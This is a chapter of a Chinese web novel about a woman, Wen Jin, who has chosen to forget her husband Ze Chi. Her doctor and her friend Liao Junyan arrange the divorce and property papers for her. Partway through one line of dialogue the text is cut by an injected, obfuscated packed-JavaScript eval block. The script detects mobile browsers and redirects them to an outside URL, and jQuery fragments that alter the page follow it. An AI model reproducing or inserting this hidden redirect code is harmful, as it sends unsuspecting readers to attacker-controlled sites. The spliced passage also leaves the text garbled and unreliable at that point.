莎洛娅医生很快接通了通讯。


    作为曾经的同学，两人先是聊了一会儿闲话。


    闻谨：“我在外面的任务还没结束，但是出了一点事，所以你之前寄给我的快件我还没看。”


    莎洛娅笑着道：“没关系，我的那个快件，你回去再看也没关系的。”


    闻谨：“我今天是因为一件事打过来的。”


    莎洛娅会意道：“我明白。”


    两人的通讯时间内，沉默暂时笼罩。


    闻谨和莎洛娅不约而同地没有说话，等待对方开口。


    莎洛娅率先打破了沉默：“你记不起来关于某个人的事，今天看到了你之前设置的那条提醒事项，所以联系了我，是吗？”


    闻谨点头：“是的。”


    莎洛娅起身：“你等我一下，我去拿档案。”


    莎洛娅拿了档案回到桌前，打开，扫了一眼：“我说过，我会告诉你一切，但不会剧透你不想知道的。”


    莎洛娅：“首先，泽迟是和你有重要关系的人。”


    外面在下雨，闻谨感到手指冰凉，她把手藏进了口袋里。


    莎洛娅：“其次，关于他，你不需要知道更多的了，因为你不想知道。”


    闻谨藏在口袋里的手握紧成拳，她攥着口袋一角来回摩挲。


    这是……她自己的选择。


    所以，戒指和泽迟有关。


    津贴和泽迟有关。


    休假和泽迟有关。


    所有断裂的逻辑链都由这个名叫“泽迟”的人串联起来。


    但是她的选择是：不想知道。


    莎洛娅抛出了闻谨曾经自己说过的话：“接下来我再问你一个问题：超出你承受能力的东西，你是要还是不要？”


    闻谨莫名想起了夹心饼干里过分甜腻粘牙的糖丝，洛列镇连绵不绝的阴雨天，沉重缠绵呼吸不上来的喘息。


    她回答得斩钉截铁：“不要。”


    她喜欢甜得爽快利落恰到好处的糖，空气湿度刚好的晴天或小雨，以及畅快的大口呼吸。


    莎洛娅：“现在的你的选择和之前你自己的选择是一样的。”


    闻谨早就猜到了会是这个结果：“因为我也不是那么善变的人。”


    莎洛娅合上档案：“既然这样，你该知道怎么做了吧？主动避开那个名字，避免产生不必要的好奇心，贯彻你的选择。”


    “你在我这里登记了一个紧急联系人，其余的事项，我会联系这位朋友去帮你解决的。”


    其他的细节闻谨不记得了，但是在莎洛娅医生那里登记紧急联系人的事，她还是有点印象的。


    毫无意外，是廖筠言。


    她从口袋里把手抽出来，放松了一下关节。


    这件事，算是尘埃落定了。


    结束和莎洛娅医生的通讯后，闻谨站起身，走到旅馆房间的窗户前，看向外面连绵不绝的雨。


    即使是高饱和度的灯光，在密集的雨丝里也只能勾勒出黯淡的轮廓，金属和塑料夹杂在一起，各种合成材料构成了洛列镇。


    而她那个记忆里若隐若现的形象苍白而扁平，逐渐更加模糊起来，直到消散在雨幕里。


    她回到终端面前，心平气和地删除了所有和泽迟的通讯消息。


    “帮我清空所有和泽迟有关的痕迹，标注了重要的文件不要动。”她对AI说。


    人工智能应答道：“正在清除中。”


    过了一会儿，人工智能汇报道：“已为您清除356份痕迹，留下4份重要文件。”


    终于结束了。


    睡觉去！


    ……


    另一个房间内，廖筠言接到了莎洛娅医生的通讯请求。


    “闻谨在我这里登记的紧急联系人是你，所以有些事我要拜托你去做。”莎洛娅医生开门见山地道。


    廖筠言：“请说。”


    莎洛娅：“关于闻谨的潜意识自我保护机制和选择性失忆……”


    廖筠言意识到：闻谨一定是发现了端倪，她主动联系了莎洛娅医生。


    她说不清自己是什么心情，但总体来说应该是松了一口气。


    莎洛娅把一份电子文档发给廖筠言：“要处理的应该是这几项。”


    廖筠言扫了一眼，顿时感觉眼前的文字都在跳舞，每个步伐都踩在她的爽点上。


    【紧急待办事项】


    1.离婚手续


    2.财产分配


    3.证据回收


    4.安排好泽迟的新工作


    ……


    莎洛娅补充道：“闻谨签署过的文件，我都已经用快件寄到她家里了。”


    廖筠言急切地追问道：“她都提前签了字？”


    莎洛娅开玩笑道：“当然，不然我不会让你去做这些事的，我是医生，又不是联邦总统，哪有权力让一个人凭空消失。”


    廖筠言几乎不敢相信自己的耳朵。


    离婚手续文件，财产分配文件，泽迟的转职文件……


    这些文件，闻谨早就草拟好并签了名字。


    她知道闻谨始终如一地决绝，但她不知道闻谨的行动力会强到这种程度。


    而现在这些足以让泽迟崩溃的文件，就躺在那封快件里。


    快件就在闻谨家里，就在泽迟面前，并且是他亲手签收的！


    廖筠言的呼吸有些颤抖：“医生，麻烦你了，谢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14475613|152939||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    谢。”


    莎洛娅笑着道：“不客气，这种事我做得还挺多了。人的深层意识是我们自己都无法把握的，但那也是最真实的表现。我不知道后续会怎么发展，但现在这样做就是理智的。”


    浅层意识会被情感和理智、道德水平和外界利益影响，深层意识却是另一种情况。


    那是本能。


    闻谨或许会因为自己的性格、情感等因素原谅泽迟。


    但是出于闻谨的本能，出于她的深层意识，她拒绝了泽迟的靠近。


    结束和莎洛娅医生的通话后，廖筠言火速行动。


    她已经等不及了。


    她立刻敲开了闻谨的房间：“莎洛娅医生联系我了。”


    闻谨对此没有感到意外，她手里拿着一瓶冰可乐，顺手把可乐递给了廖筠言：“然后呢？需要我帮忙配合什么？”


    廖筠言接过可乐，猛灌了一口，急促地说：“帮我发一条消息。”


    闻谨听明白了。


    原来莎洛娅医生那封寄到她家里的快件，才是重头。


    闻谨重新打开和泽迟的通讯页面：“原来泽迟住在我家。”


    廖筠言看着空荡荡的页面有点发怔：她删掉了所有历史消息。


    廖筠言答道：“对，现在暂时住在你家，马上要搬出去了。”


    闻谨按下语音消息的键：“泽迟，莎洛娅医生寄来的那份快件，你可以打开了，之后廖筠言会联系你的。”


    廖筠言在一边点头。


    闻谨顿了顿。


    她在犹豫要不要继续发一条消息。


    廖筠言离开后，闻谨从冰箱里取出另一瓶冰可乐，小口地抿着，气泡在她口腔里爆裂开。


    她坐在沙发上，思考了好久。


    她想起刚才莎洛娅医生对她说的：[不过我还是很震惊，你的进程居然那么快……我还以为还会再过一年半载的。]


    到底为什么会那么快忘记？


    因为什么？


    不，不。


    她在心里否认了自己。


    莎洛娅医生说了，不能因为奇怪的好奇心重新跌进陷阱里。


    除此以外，闻谨还震惊于她曾经的行动力。


    那时她下的决心一定很强烈，不然不会把所有事都安排好。


    既然都已经决定好了，既然以前和现在的决心是一样的，那么就照做吧。


    [这是你的深层意识做出的决定。]


    她想了想，低头看杯子里的冰可乐，里面已经空了，残留下一点棕褐色的液体。


    闻谨从沙发上站起身，再次打开和泽迟的通讯页面。


    她发了一句文字消息：【抱歉。——闻谨】